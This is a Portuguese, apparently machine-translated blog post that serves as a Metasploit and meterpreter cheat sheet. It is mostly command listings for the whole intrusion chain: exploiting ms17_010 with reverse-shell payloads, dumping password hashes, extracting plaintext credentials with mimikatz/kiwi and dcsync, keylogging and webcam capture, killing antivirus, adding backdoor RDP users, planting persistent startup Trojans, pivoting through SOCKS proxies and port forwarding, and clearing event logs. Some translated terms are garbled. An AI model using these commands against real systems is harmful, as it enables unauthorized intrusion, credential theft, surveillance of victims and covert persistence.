Explicação super detalhada da penetração do metasploit (MSF) - ferramenta de penetração Xiaohei

Metasploit Framework (msf) contém milhares de vulnerabilidades de software conhecidas e é continuamente atualizado. Metasploit pode ser usado para todo o processo de teste de penetração, como coleta de informações, detecção de vulnerabilidades e exploração de vulnerabilidades. Ele é escrito em linguagem Ruby. Hackeie o título de todo o universo! ! !

Intenção original: registrar o processo de teste de penetração do msfconsole, bem como alguns comandos comumente usados ​​em cada ponto do processo. Você pode apontar algumas deficiências nele. Adicionarei suplementos a este blog e também anotarei os nomes de todos no suplemento. dentro do capítulo! ! Vamos trabalhar juntos ^-^

Após o lançamento deste capítulo, testes práticos serão lançados posteriormente, e comandos comuns para win e Linux também serão atualizados.

Índice 

msf que vem com kali, atualize e atualize

Processo básico de uso de penetração

Configurações de parâmetros de carga útil de ataque

meterpreter [ferramenta pós-exploração após obter permissão]

Recursos do Meterperter [Módulo Pós-Penetração]

Comando pós-penetração [comando de informações do sistema host win]

Módulo de penetração pós-POST [ataque de penetração após obter controle do host alvo]

Processo pós-infiltração [Comandos comuns para o processo]

Use mimikatx para obter senhas

Elevar privilégios [Elevar privilégios de vitória para sistema]

Uso do módulo KiWi (o módulo mimikatz integrado no msf é substituído pelo kiwi)

Módulo pós-penetração [configuração de parâmetros do aplicativo de instalação do host]

Módulo pós-penetração [Configurações de operação em segundo plano]

 Crie um backdoor persistente

MSF cria proxy de meias

Configuração de roteamento

Descrição do parâmetro de roteamento

 sistema win de encaminhamento de porta portfwd

PowerShell coleta informações de domínio

Nota: comando de carregamento do módulo meterpreter


msf que vem com kali, atualize e atualize

apt update atualiza as informações do pacote de instalação, apenas verifica, mas não atualiza

apt upgrade atualiza pacotes instalados sem excluir pacotes antigos

apt pacote de atualização full-upgrade, exclua o pacote antigo

Se o Kali não for utilizado por um longo período, a assinatura digital irá expirar, impossibilitando a atualização da fonte.

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key adicionar solução

 

Processo básico de uso de penetração

msfconsole entra na busca de quadros ms17_010    

                   

pesquise para encontrar módulos de ataque de vulnerabilidade relacionados (auxiliar é um módulo auxiliar de detecção para detectar se a vulnerabilidade existe, exploit é um módulo de exploração de vulnerabilidade)

use xxx/xxx/xxx use selecione módulo de ataque

info Use info para visualizar informações sobre o tipo de vulnerabilidade (versão do sistema de destino, versão do idioma)

show payloads Veja as cargas que podem ser exploradas por esta vulnerabilidade

definir carga útil xxx/xxx Definir carga útil de ataque

mostrar opções Visualizar os parâmetros que precisam ser configurados pelo módulo

mostrar alvos Visualizar plataformas de sistema atacáveis ​​(por padrão, a versão e o idioma do sistema operacional de destino serão determinados automaticamente)

definir xxxx definir parâmetros

explorar/executar salvar/atacar (se for uma detecção, o sinal + indica a existência da vulnerabilidade) fase pós-penetração

Configurações de parâmetros de carga útil de ataque

set RHOST 192.168.100.158 #Set RHOST, que significa atacar o IP do host

set LHOST 192.168.100.132 #Set LHOST, que é o IP do nosso host, usado para receber o shell devolvido da máquina de destino

set lport 6666 #Defina lport, que é a porta do nosso host, e devolva o shell para esta porta; se não definirmos lport aqui, o padrão é 4444 porta de escuta;

meterpreter [ferramenta pós-exploração após obter permissão]

Meterpreter é uma carga útil de estágio. No Metasploit Framework, Meterpreter é uma carga útil que pode ser expandida pela rede durante a operação. Esta ferramenta é baseada no conceito de "injeção de DLL de memória" , que permite ao sistema de destino executar o arquivo DLL injetado criando um novo processo e chamando a DLL injetada.

Fluxo de trabalho: O destino deve primeiro executar uma conexão inicial de sessão de vulnerabilidade de estouro, que pode ser uma conexão de ligação direta ou uma conexão reversa de recuperação. Ao recuperar a conexão, o arquivo de link dll é carregado e o arquivo dll é processado silenciosamente em segundo plano. Em seguida, inicialize-o através do código principal do meterpreter, estabeleça um túnel criptografado TLS/1.0 através do soquete e envie uma solicitação GET ao servidor Metasploit. Após receber a solicitação GET, o servidor Metasploit configura o cliente correspondente. Finalmente, o meterpreter carrega a extensão e todas as extensões carregadas transmitem dados via TLS/1.0.

Recursos do Meterperter [Módulo Pós-Penetração]

meterpreter reside inteiramente na memória e não grava no disco

O Meterpreter não cria um novo processo quando injetado e pode ser facilmente transplantado para outros processos em execução. As comunicações do Mertepreter são criptografadas por padrão, portanto são seguras

    Extensibilidade, muitos novos módulos de recursos podem ser carregados.            

                   Ao definir a carga útil, você pode configurá-la como um link reverso e obter meterpreter>            

                   Você pode então seguir o processo de penetração

? [Entrar diretamente? , você pode visualizar a descrição do parâmetro em meterpreter]

background [meterpreter pode ser montado para rodar em segundo plano]

sessões -l [Ver a lista de sessões meterpreter_shell obtida]

Comando pós-penetração [comando de informações do sistema host win]

sysinfo Visualizar informações do sistema host de destino

execute o scraper para visualizar os detalhes do host de destino

execute hashdump exporta o hash da senha

carregar kiwi carregar mimikatz

ps Ver informações do processo do host de destino

pwd Visualize o diretório atual de destino (Windows)

getlwd Visualiza o diretório atual do diretório (linux) search -f *.jsp -de:\ Pesquisa todos os arquivos com o sufixo .jsp na unidade e

download e:\test.txt /root Baixe o arquivo e:\test.txt do host de destino para o diretório /root

upload /root/test.txt d:\test Carregue /root/test.txt para o diretório d:\test\ da máquina de diretório

getpid Visualize o PID do processo do shell Meterpreter

migrar 1384 Migre o processo shell Merterpreter atual para o processo com PID 1384

idletime Ver tempo de execução do host

getuid Veja as permissões atuais obtidas

Getsystem eleva privilégios apenas se o usuário atual obtido for administrador.

execute killav desativa o software antivírus

captura de tela captura de tela

webcam_list Visualize as câmeras do host alvo

webcam_snap tirar foto

webcam_stream abrir vídeo

parâmetro de execução -f arquivo executável executa o programa executável

execute getgui -u testl -p ABC123 Crie usuário testl com senha ABC123

execute getgui -e inicia a área de trabalho remota

keyscan_start ativa a função keylogging

keyscan_dump exibe informações capturadas de keylogging

keyscan_stop interrompe a função de keylogging

uictl desabilitar teclado proíbe o alvo de usar o teclado

uictl enable teclado permite que o alvo use o teclado

uictl desabilitar mouse proíbe o alvo de usar o mouse

uictl enable mouse permite que o alvo use o mouse

load usa biblioteca de extensão

execute usando a biblioteca de extensão

Módulo de penetração pós-POST [ataque de penetração após obter controle do host alvo]

gerenciar

executar pós/windows/gerenciar/migrar migração automática de processos 

execute post/windows/manage/killav para desligar o software antivírus

execute post/windows/manage/enable_rdp para abrir o serviço de área de trabalho remota

execute post/windows/manage/autoroute para visualizar informações de roteamento

execute post/windows/manage/enable_rdp USERNAME=SS2 SENHA=123456     

Adicionar usuário de área de trabalho remota

execute post/windows/manage/enable_rdp FORWARD=true LPORT=6662 

Encaminhar porta 3389 para 6662

juntar

execute post/windows/gather/enum_logged_on_users listas de usuários atualmente logados

execute post/windows/gather/enum_applications para listar aplicativos

execute post/windows/gather/credentials/windows_autologin pegue o nome de usuário e senha do login automático execute post/windows/gather/smart_hashdump despeje o hash de todos os usuários

execute post/windows/gather/enum_domain para visualizar o controle de domínio

execute informações de patch post/windows/gather/enum_patches [obtenha se há um número de patch msf que pode ser usado diretamente]

execute post/windows/gather/checkvm para verificar se o host de destino está sendo executado em uma máquina virtual

   Processo pós-infiltração [Comandos comuns para o processo]

sysinfo Ver informações sobre o host de destino

execute post/windows/gather/checkvm para verificar se o host está sendo executado em uma máquina virtual

execute killav desativa o software antivírus do host alvo

run scraper obtém os detalhes do host de destino e acessa o sistema de arquivos

pwd visualizar diretório atual

gato lê o conteúdo do arquivo

rm excluir arquivos

editar Editar arquivos usando vim

mkdir cria um novo diretório

rmdir excluir diretório

baixar arquivo Ajuda a baixar arquivos do sistema de destino

duload arquivo (arquivo) Carregar arquivos para o sistema de destino

O comando getuid pode obter as informações do usuário atual

getsystem eleva privilégios automaticamente para privilégios de sistema

Use mimikatx para obter senhas

execute windows/gather/credentials/windows_autologin para obter o nome de usuário e a senha para login automático

execute hashdump exportar senha hash formato de exportação: nome de usuário: SID: LM hash: NTLM hash:::

O uso do comando run windows/gather/smart_hashdump requer permissões do sistema

Pré-requisito: São necessárias permissões do sistema para executar o mimikatz e, ao executar, a seleção deve ser baseada no número do sistema atual.

Primeiro verifique as permissões da sessão atual (getuid), depois observe o número do sistema (sysinfo), (upload) o caminho absoluto do arquivo carregado, execute -i -f mimikatz.exe (executar) [Nota: mimikatz deve usar permissões do sistema    ]

Pegue a senha: privilégio::debug

                   sekurlsa::logonpasswords

Elevar privilégios [Elevar privilégios de vitória para sistema]

1. A permissão atual é do usuário administrador

2. Use outros meios para primeiro elevar os privilégios ao usuário administrador. Em seguida, o usuário administrador pode usar diretamente o comando getsystem no meterpreter_shell para elevar os privilégios aos privilégios do sistema.

       

getuid Ver a identidade do usuário da sessão atual

getsystem tenta escalar privilégios automaticamente

Uso do módulo KiWi (o módulo mimikatz integrado no msf é substituído pelo kiwi)

O módulo mimikatz integrado no msf foi substituído pelo kiwi            

         Pré-requisito: Eleve os direitos às permissões do sistema. O carregamento padrão do kiwi é de 32 bits. Se o host de destino for um sistema de 64 bits, Ze deve primeiro examinar a lista de processos do sistema e, em seguida, migrar o processo meterpreter para um processo de programa de 64 bits antes de carregar o kiwi e visualizar o texto simples do sistema.         

sysinfo Ver sistema 

ps para verificar se existem processos de 64 bits

migrar                                             processo PID migra para Pid

kiwi_cmd sekurlsa::logonpasswords pode usar todas as funções do mimikatz

ps visualizar processo

carregar kiwi carrega o módulo kiwi

ajuda kiwi Ver módulo kiwi

creds_all enumera todas as credenciais e pode enumerar senhas em texto não criptografado no sistema

creds_kerberos lista todas as credenciais Kerberos

creds_msv lista todas as credenciais msv

creds_ssp lista todas as credenciais ssp

creds_tspkg lista todas as credenciais tspkg

creds_wdigest lista todas as credenciais wdigest

dcsync Recuperar informações da conta do usuário através do dcsync

dcsync_ntlm Recuperar hash NTM, SID e RID da conta de usuário via dcsync

golden_ticket_create cria um bilhete dourado

kerberos_ticket_list lista tickets Kerberos

kerberos_ticket_purge limpa tíquetes Kerberos

kerberos_ticket_use usa tíquetes Kerberos

kiwi_cmd executa o comando mimikatz, seguido pelo comando mimikatz.exe lsa_dump_sam despeja o SAM de lsa

lsa_dump_secrets despeja o texto cifrado de lsa

password_change alterar senha

wifi_list lista os arquivos de configuração wifi do usuário atual

wifi_list_shared lista perfis/codificações wifi compartilhadas

Módulo pós-penetração [configuração de parâmetros do aplicativo de instalação do host]

execute post/windows/gathtier/enum_applications para ver quais aplicativos estão instalados no host de destino

executar + [parâmetro]

-f token de thread falso para executar o arquivo executável especificado

-H cria um processo oculto

-a parâmetros passados ​​para o comando

-eu interajo com o processo

-m executa da memória

-t usa o processo de linha atual

-s executa o processo na sessão determinada

screenshot Faça uma captura de tela da tela do host de destino

execute post/windows/gather/enum_logged_on_users para verificar se há usuários no host de destino

criar uma conta:

Método 1: execute getgui -u nome de usuário -p senha

Método 2: execute post/windows/manage/enable_rdp nome de usuário=xxx senha=xxxx

Habilite a área de trabalho remota:

dletime verifica o tempo ocioso do usuário remoto

execute post/windows/manage/enable_rdp para abrir a área de trabalho remota

execute post/windows/manage/enable_rdp FORWARD=true LPORT=6662 Encaminha a porta 3389 para a porta 6662

Módulo pós-penetração [Configurações de operação em segundo plano]

 Registrador de teclas:

keyscan_start ativa a função keylogging

keyscan_dump exibe informações capturadas de keylogging

keyscan_stop interrompe a função de keylogging

Desative o host de destino de usar teclado e mouse:

uictl disable(enable) teclado desativa o alvo de usar o teclado

uictl disable (enable) mouse proíbe o alvo de usar o mouse

A câmera host alvo tira fotos:

webcam_list Obtém a lista de câmeras do sistema de destino

webcam_snap tira fotos da câmera especificada

webcam_stream inicia o vídeo da câmera especificada

carregar/usar módulo de carregamento

load -l lista todas as extensões disponíveis

carregar -ajuda ajuda;

Instruções: Gere um Trojan backdoor e coloque-o no diretório de inicialização do Windows: C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Inicialização do serviço:   execute exploit/windows/local/peristence lhost=192.168.100.132 lport=xxx

Conexão de processo 192.168.100.132:8888 [Desvantagem: fácil de ser morto]

netstat -ano: findstr “8888”

 Crie um backdoor persistente

A conexão estabelecida pelo módulo meterpreter com base na DLL de memória precisa deixar um backdoor persistente dentro do sistema de destino.

Dois caminhos:

        Um é iniciado através de itens de inicialização (persistência),

        O segundo serviço é iniciado (metsvc)

Itens de inicialização:

Primeiro, um Trojan backdoor deve ser gerado e, em seguida, colocado no diretório de inicialização do Windows. Enquanto o computador estiver ligado, a conexão com a porta correspondente pode ser iniciada.

C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Início do serviço:

execute exploit/windows/local/persistence lhost=192.168.100.132 lport=8888        

#Ele se conectará automaticamente à porta 8888 de 192.168.100.132. A desvantagem é que é fácil de ser detectado por software antivírus.

MSF cria proxy de meias

Existem três módulos de proxy em msf, meias4a, meias5 e meias_unc. meias5 pode definir o nome de usuário e a senha, mas às vezes o msf não escuta a porta, o que pode causar falha no proxy. Use auxiliar/servidor/socks. Use este módulo. O módulo meias aqui apenas configura o proxy para escutar (o padrão é 1080), ou seja, o tráfego através de proxychains é transferido para a porta local 1080, e como esta é a porta de escuta iniciada pelo MSF, o processo através do proxy também pode acessar a intranet.

Configurações de proxy:

Altere o módulo em msf para usar auxiliar/server/socks_proxy

mostrar opções Visualizar detalhes do módulo Definir o IP da interface e a porta para monitoramento de soquete          

definir ip SRVHOST (127.0.0.1) && definir porta SRVPORT

Configurações de proxy do Socks4a:

use auxiliar/servidor/socks4a

definir SRVHOST 0.0.0.0

definir execução do SRVPORT 1080

Configurações de proxy do Socks5:

use auxiliar/servidor/socks5

definir SRVHOST 0.0.0.0

definir SRVPORT 1080

definir USERNAME raiz

definir SENHA Senha@

correr

Agente de conexão:

Edite o arquivo de configuração do programa proxychains local vim /etc/proxychains.conf. O navegador também precisa configurar um proxy. Você pode acessar a intranet diretamente pelo navegador e encontrar o ProxyList.

[Lista de Proxy]

Adicione a senha de root Socks5 0.0.0.0 1080 [1080 é a porta de escuta]

Ao usar o nmap para testar o programa, você deve usar proxychains4 nma -sT -Pn xxxx.

Configuração de roteamento

 [Adicione roteamento antes de usar proxy]

Primeiro adicione uma rota para que o MSF possa alcançar a rede interna da máquina de destino.

rota adicionar 209.98.32.33 máscara 255.255.255.224 202.96.123.3 métrica 5 Execute o comando para adicionar uma rota

route print imprime o destino da rota        

rota excluir 209.98.32.33 excluir rota

alteração de rota 209.98.32.33 máscara de rede 255.255.255.224 202.96.123.3 métrica 5 [modificar gateway 209.98.32.33 para 202.96.132.3]

Encaminhamento de rota:

método um:

rota Visualizar informações do segmento de rede

background coloca o processo atual em segundo plano e retorna para msf

route add 172.16.10..0 255.255.255.0 1 Adicionar rota (1 é o número da sessão pendente)

impressão de rota                

Ver informações de roteamento

Método 2: use post/multi/manage/autoroute

definir exploração da sessão 1 [Carregue este módulo diretamente e chame a sessão]

Desvantagens: O encaminhamento de proxy desta forma só pode ser usado pelo msf, outros aplicativos não podem usá-lo e outros aplicativos precisam adicionar um proxy sock.

Descrição do parâmetro de roteamento

 add adiciona registros de roteamento                                        

 del excluir registros de roteamento

rede de destino alvo ou host de destino                                

gw define gateway padrão

mss define o comprimento máximo do bloco TCP, em MB            

windows especifica o tamanho da janela TCP para conexões TCP por meio da tabela de roteamento

dev A interface de rede representada pelo registro de roteamento

netmask define o comprimento da máscara                                    

-A define o tipo de endereço      

-c imprime o cache de roteamento do kernel Linux  

-v mostra informações detalhadas      

 -n não executa uma pesquisa reversa de DNS e exibe diretamente o endereço IP em formato numérico

-e formato netstart exibe tabela de roteamento        

 -net Tabela de roteamento para uma rede

-host tabela de roteamento para um host

 sistema win de encaminhamento de porta portfwd

portfwd adicionar -l 9999 -r 192.168.100.158 -p 3389             

#Encaminhe a porta 3389 de 192.168.11.13 para a porta local 9999. 192.168.100.158 aqui está o direito de obter

O endereço IP do host restrito

portfwd adicionar -l 9999 -r 192.168.100.158 -p 3389    

-l porta de escuta local

-p porta do servidor de destino

add adiciona uma conexão

Encaminhe a porta de destino para a porta de escuta local para receber rejeições de porta do host de destino

rdesktop 127.0.0.1:9999 Acesse a porta 9999 local para conectar-se à porta 3389 do host de destino

clearev #limpar registro

PowerShell coleta informações de domínio

carregar o powershell carrega a função do powershell

powershell_import /root/PowerView.ps1 Importe o script do PowerShell e coloque-o no destino especificado com antecedência

powershell_execute Get-NetDomain Este módulo obtém informações de domínio

powershell_execute Invoke-UserHunter Este módulo de função é usado para localizar o host onde o administrador do domínio efetua login powershell_execute Get-NetForest Este módulo é usado para localizar informações do domínio powershell_execute Invoke-EnumerateLocalAdmin                             

Enumere os membros do grupo Administradores locais em todos os computadores do domínio

Nota: comando de carregamento do módulo meterpreter

O comando do módulo meterpreter está incompleto. Você pode executar o load  lstdapi para carregar o comando de conclusão.

Às vezes, a pós-penetração recebida não é uma sessão do tipo meterperpreter, você pode usar sessões -u id para atualizar a sessão. Ao executar este comando, /post/multi/manage/shell_to_meterpreter é chamado por padrão.

O id nas sessões -u id é o id da carga útil

Acho que você gosta

Origin blog.csdn.net/G_WEB_Xie/article/details/130560266
Recomendado
Clasificación